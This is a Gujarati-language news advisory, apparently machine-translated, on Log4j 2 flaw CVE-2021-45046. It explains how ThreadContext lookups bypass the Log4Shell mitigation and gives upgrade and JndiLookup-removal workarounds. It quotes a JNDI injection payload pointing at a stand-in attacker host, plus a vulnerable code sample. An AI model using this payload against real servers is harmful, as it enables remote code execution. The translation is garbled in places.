Log4j 2 માટે એક નવો હુમલો વિકલ્પ જે તમને વધારાની સુરક્ષાને બાયપાસ કરવાની મંજૂરી આપે છે

Log4j 2 લાઇબ્રેરી (CVE-2021-45046) માં JNDI લુકઅપના અમલીકરણમાં અન્ય નબળાઈ ઓળખવામાં આવી છે, જે પ્રકાશન 2.15 માં ઉમેરવામાં આવેલા સુધારાઓ અને સુરક્ષા માટે "log4j2.noFormatMsgLookup" સેટિંગના ઉપયોગને ધ્યાનમાં લીધા વિના દેખાય છે. સમસ્યા મુખ્યત્વે Log4j 2 ની જૂની આવૃત્તિઓ માટે ખતરનાક છે, જે “noFormatMsgLookup” ફ્લેગનો ઉપયોગ કરીને સુરક્ષિત છે, કારણ કે તે અગાઉની નબળાઈઓ (Log4Shell, CVE-2021-44228) થી રક્ષણને બાયપાસ કરવાનું શક્ય બનાવે છે, જે તમને તમારા કોડને એક્ઝિક્યુટ કરવાની મંજૂરી આપે છે. સર્વર સંસ્કરણ 2.15 ના વપરાશકર્તાઓ માટે, શોષણ ઉપલબ્ધ સંસાધનોના થાકને કારણે એપ્લિકેશનને ક્રેશ કરવા માટે મર્યાદિત છે.

નબળાઈ ફક્ત તે સિસ્ટમો પર જ દેખાય છે જે લોગીંગ માટે સંદર્ભ લુકઅપનો ઉપયોગ કરે છે, જેમ કે ${ctx:loginId}, અથવા MDC ટેમ્પલેટ્સ (થ્રેડ સંદર્ભ નકશો), જેમ કે %X, %mdc અને %MDC. ઑપરેશન લૉગમાં આઉટપુટ ફોર્મેટિંગ માટેના નિયમોને વ્યાખ્યાયિત કરતી એપ્લિકેશનમાં સંદર્ભ ક્વેરીઝ અથવા MDC ટેમ્પ્લેટ્સનો ઉપયોગ કરતી વખતે લૉગમાં JNDI અવેજી ધરાવતા ડેટાને આઉટપુટ કરવા માટે શરતો બનાવવા માટે નીચે આવે છે.

LunaSec ના સંશોધકોએ નોંધ્યું કે Log4j ની 2.15 થી ઓછી આવૃત્તિઓ માટે, આ નબળાઈનો ઉપયોગ Log4Shell હુમલા માટે નવા વેક્ટર તરીકે થઈ શકે છે, જે કોડ એક્ઝેક્યુશન તરફ દોરી જાય છે, જો ThreadContext અભિવ્યક્તિઓ જેમાં બાહ્ય ડેટાનો સમાવેશ થાય છે તેનો ઉપયોગ લોગ આઉટપુટમાં થાય છે, પછી ભલેને "protect" ફ્લેગ સક્ષમ છે. noMsgFormatLookups" અથવા ટેમ્પલેટ "%m{nolookups}".

સંરક્ષણને બાયપાસ કરવું એ હકીકત પર આવે છે કે "${jndi:ldap://attacker.com/a}" ના સીધા અવેજીને બદલે, આ અભિવ્યક્તિ લોગ આઉટપુટના ફોર્મેટિંગ માટેના નિયમોમાં વપરાતા મધ્યવર્તી ચલના મૂલ્ય દ્વારા બદલવામાં આવે છે. . ઉદાહરણ તરીકે, જો લોગમાં આઉટપુટ કરતી વખતે સંદર્ભ ક્વેરી ${ctx:apiversion}નો ઉપયોગ કરવામાં આવે છે, તો પછી એટેકમાં ડેટા "${jndi:ldap://attacker.com/a}" ને બદલીને આક્રમણ કરી શકાય છે. એપીવર્ઝન ચલ પર લખાયેલ મૂલ્ય. સંવેદનશીલ કોડનું ઉદાહરણ: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") પબ્લિક સ્ટ્રિંગ ઇન્ડેક્સ(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP હેડર વેલ્યુ ThreadContext ThreadContext.put("apiversion) ને પસાર કરવામાં આવે છે. ", apiVersion ); // લોગમાં આઉટપુટ કરતી વખતે, ${ctx:apiversion} logger.info("API સંસ્કરણ માટે વિનંતી પ્રાપ્ત થઈ"); પાછા ફરો "હેલો, વિશ્વ!"; }

Log4j સંસ્કરણ 2.15 માં, ThreadContext પર મૂલ્યો પસાર કરતી વખતે નબળાઈનો ઉપયોગ DoS હુમલા કરવા માટે થઈ શકે છે, પરિણામે આઉટપુટ ફોર્મેટિંગ ટેમ્પલેટ પ્રોસેસિંગમાં લૂપ આવે છે.

નબળાઈને અવરોધિત કરવા માટે, અપડેટ્સ 2.16 અને 2.12.2 પ્રકાશિત કરવામાં આવ્યા હતા. Log4j 2.16 શાખામાં, સંસ્કરણ 2.15 માં અમલમાં મૂકાયેલા સુધારાઓ અને "લોકલહોસ્ટ" માટે JNDI LDAP વિનંતીઓના બંધન ઉપરાંત, JNDI કાર્યક્ષમતા ડિફૉલ્ટ રૂપે સંપૂર્ણપણે અક્ષમ છે અને સંદેશ અવેજી નમૂનાઓ માટેના સમર્થનને દૂર કરવામાં આવે છે. સુરક્ષાના ઉકેલ તરીકે, ક્લાસપાથમાંથી JndiLookup વર્ગને દૂર કરવાનું સૂચન કરવામાં આવે છે (ઉદાહરણ તરીકે, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

તમે ડિસ્ટ્રિબ્યુશન્સ (ડેબિયન, ઉબુન્ટુ, આરએચઈએલ, સુસે, ફેડોરા, આર્ક) અને જાવા પ્લેટફોર્મ ઉત્પાદકો (ગીટહબ, ડોકર, ઓરેકલ, વીએમવેર, બ્રોડકોમ અને એમેઝોન/એડબ્લ્યુએસ, જુનિપર, વીએમવેર, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, વગેરે).

સોર્સ: opennet.ru